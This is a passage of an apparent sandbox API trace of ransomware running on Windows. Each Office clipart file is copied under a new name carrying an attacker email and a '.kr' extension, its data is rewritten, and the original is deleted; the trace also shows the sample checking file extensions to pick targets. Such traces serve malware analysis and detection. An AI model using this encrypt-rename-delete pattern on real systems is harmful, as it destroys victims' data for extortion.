lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0196.565] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.565] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0196.565] SetEndOfFile (hFile=0x3f8) returned 1 [0196.565] CloseHandle (hObject=0x3f8) returned 1 [0196.565] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.565] SetEndOfFile (hFile=0x548) returned 1 [0196.605] CloseHandle (hObject=0x548) returned 1 [0196.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0196.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.610] lstrlenW (lpString=".doc") returned 4 [0196.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.611] lstrlenW (lpString=".docx") returned 5 [0196.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.611] lstrlenW (lpString=".pdf") returned 4 [0196.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.611] lstrlenW (lpString=".xls") returned 4 [0196.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.611] lstrlenW (lpString=".xlsx") returned 5 [0196.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.611] lstrlenW (lpString=".ppt") returned 4 [0196.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.611] lstrlenW (lpString=".zip") returned 4 [0196.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.611] lstrlenW (lpString=".rar") returned 4 [0196.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.611] lstrlenW (lpString=".bz2") returned 4 [0196.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.611] lstrlenW (lpString=".7z") returned 3 [0196.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.611] lstrlenW (lpString=".dbf") returned 4 [0196.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.611] lstrlenW (lpString=".1cd") returned 4 [0196.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.611] lstrlenW (lpString=".jpg") returned 4 [0196.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.612] lstrlenW (lpString=".doc") returned 4 [0196.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.612] lstrlenW (lpString=".docx") returned 5 [0196.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.612] lstrlenW (lpString=".pdf") returned 4 [0196.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.612] lstrlenW (lpString=".xls") returned 4 [0196.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.612] lstrlenW (lpString=".xlsx") returned 5 [0196.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.612] lstrlenW (lpString=".ppt") returned 4 [0196.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.612] lstrlenW (lpString=".zip") returned 4 [0196.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.612] lstrlenW (lpString=".rar") returned 4 [0196.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.612] lstrlenW (lpString=".bz2") returned 4 [0196.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.612] lstrlenW (lpString=".7z") returned 3 [0196.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.612] lstrlenW (lpString=".dbf") returned 4 [0196.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.612] lstrlenW (lpString=".1cd") returned 4 [0196.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0196.613] lstrlenW (lpString=".jpg") returned 4 [0196.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.613] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.613] lstrlenW (lpString="HH01065_.WMF") returned 12 [0196.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.613] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1268) returned 1 [0196.613] CloseHandle (hObject=0x548) returned 1 [0196.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0196.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.614] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.614] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0196.615] GetLastError () returned 0x0 [0196.615] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x4f4, lpOverlapped=0x0) returned 1 [0196.617] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x500, lpOverlapped=0x0) returned 1 [0196.618] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.618] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0196.618] SetEndOfFile (hFile=0x534) returned 1 [0196.618] CloseHandle (hObject=0x534) returned 1 [0196.618] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.618] SetEndOfFile (hFile=0x548) returned 1 [0196.621] CloseHandle (hObject=0x548) returned 1 [0196.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0196.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.622] lstrlenW (lpString=".doc") returned 4 [0196.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.622] lstrlenW (lpString=".docx") returned 5 [0196.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.622] lstrlenW (lpString=".pdf") returned 4 [0196.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.622] lstrlenW (lpString=".xls") returned 4 [0196.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.622] lstrlenW (lpString=".xlsx") returned 5 [0196.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.623] lstrlenW (lpString=".ppt") returned 4 [0196.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.623] lstrlenW (lpString=".zip") returned 4 [0196.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.623] lstrlenW (lpString=".rar") returned 4 [0196.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.623] lstrlenW (lpString=".bz2") returned 4 [0196.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.623] lstrlenW (lpString=".7z") returned 3 [0196.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.623] lstrlenW (lpString=".dbf") returned 4 [0196.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.623] lstrlenW (lpString=".1cd") returned 4 [0196.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.623] lstrlenW (lpString=".jpg") returned 4 [0196.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.623] lstrlenW (lpString=".doc") returned 4 [0196.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.623] lstrlenW (lpString=".docx") returned 5 [0196.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.623] lstrlenW (lpString=".pdf") returned 4 [0196.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.623] lstrlenW (lpString=".xls") returned 4 [0196.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.624] lstrlenW (lpString=".xlsx") returned 5 [0196.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.624] lstrlenW (lpString=".ppt") returned 4 [0196.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.624] lstrlenW (lpString=".zip") returned 4 [0196.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.624] lstrlenW (lpString=".rar") returned 4 [0196.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.624] lstrlenW (lpString=".bz2") returned 4 [0196.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.624] lstrlenW (lpString=".7z") returned 3 [0196.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.624] lstrlenW (lpString=".dbf") returned 4 [0196.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.624] lstrlenW (lpString=".1cd") returned 4 [0196.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0196.624] lstrlenW (lpString=".jpg") returned 4 [0196.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.624] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.624] lstrlenW (lpString="HH01080_.WMF") returned 12 [0196.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.625] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5000) returned 1 [0196.625] CloseHandle (hObject=0x548) returned 1 [0196.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0196.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.626] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.626] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0196.628] GetLastError () returned 0x0 [0196.628] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1388, lpOverlapped=0x0) returned 1 [0196.630] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1390, lpOverlapped=0x0) returned 1 [0196.631] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.631] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0196.632] SetEndOfFile (hFile=0x534) returned 1 [0196.632] CloseHandle (hObject=0x534) returned 1 [0196.632] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.632] SetEndOfFile (hFile=0x548) returned 1 [0196.635] CloseHandle (hObject=0x548) returned 1 [0196.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0196.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.636] lstrlenW (lpString=".doc") returned 4 [0196.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.636] lstrlenW (lpString=".docx") returned 5 [0196.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.636] lstrlenW (lpString=".pdf") returned 4 [0196.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.637] lstrlenW (lpString=".xls") returned 4 [0196.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.637] lstrlenW (lpString=".xlsx") returned 5 [0196.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.637] lstrlenW (lpString=".ppt") returned 4 [0196.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.637] lstrlenW (lpString=".zip") returned 4 [0196.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.637] lstrlenW (lpString=".rar") returned 4 [0196.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.637] lstrlenW (lpString=".bz2") returned 4 [0196.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.637] lstrlenW (lpString=".7z") returned 3 [0196.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.637] lstrlenW (lpString=".dbf") returned 4 [0196.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.637] lstrlenW (lpString=".1cd") returned 4 [0196.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.637] lstrlenW (lpString=".jpg") returned 4 [0196.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.637] lstrlenW (lpString=".doc") returned 4 [0196.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.637] lstrlenW (lpString=".docx") returned 5 [0196.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.638] lstrlenW (lpString=".pdf") returned 4 [0196.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.638] lstrlenW (lpString=".xls") returned 4 [0196.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.638] lstrlenW (lpString=".xlsx") returned 5 [0196.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.638] lstrlenW (lpString=".ppt") returned 4 [0196.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.861] lstrlenW (lpString=".zip") returned 4 [0196.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.882] lstrlenW (lpString=".rar") returned 4 [0196.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.882] lstrlenW (lpString=".bz2") returned 4 [0196.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.882] lstrlenW (lpString=".7z") returned 3 [0196.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.882] lstrlenW (lpString=".dbf") returned 4 [0196.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.882] lstrlenW (lpString=".1cd") returned 4 [0196.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0196.883] lstrlenW (lpString=".jpg") returned 4 [0196.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.883] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.883] lstrlenW (lpString="HH01875_.WMF") returned 12 [0196.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.261] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2616) returned 1 [0197.261] CloseHandle (hObject=0x3f8) returned 1 [0197.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0197.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.262] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.262] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0197.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.262] GetLastError () returned 0x0 [0197.262] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xa38, lpOverlapped=0x0) returned 1 [0197.266] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xa40, lpOverlapped=0x0) returned 1 [0197.267] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0197.267] WriteFile (in: hFile=0x4d4, lpBuffer=0x42cc020*, 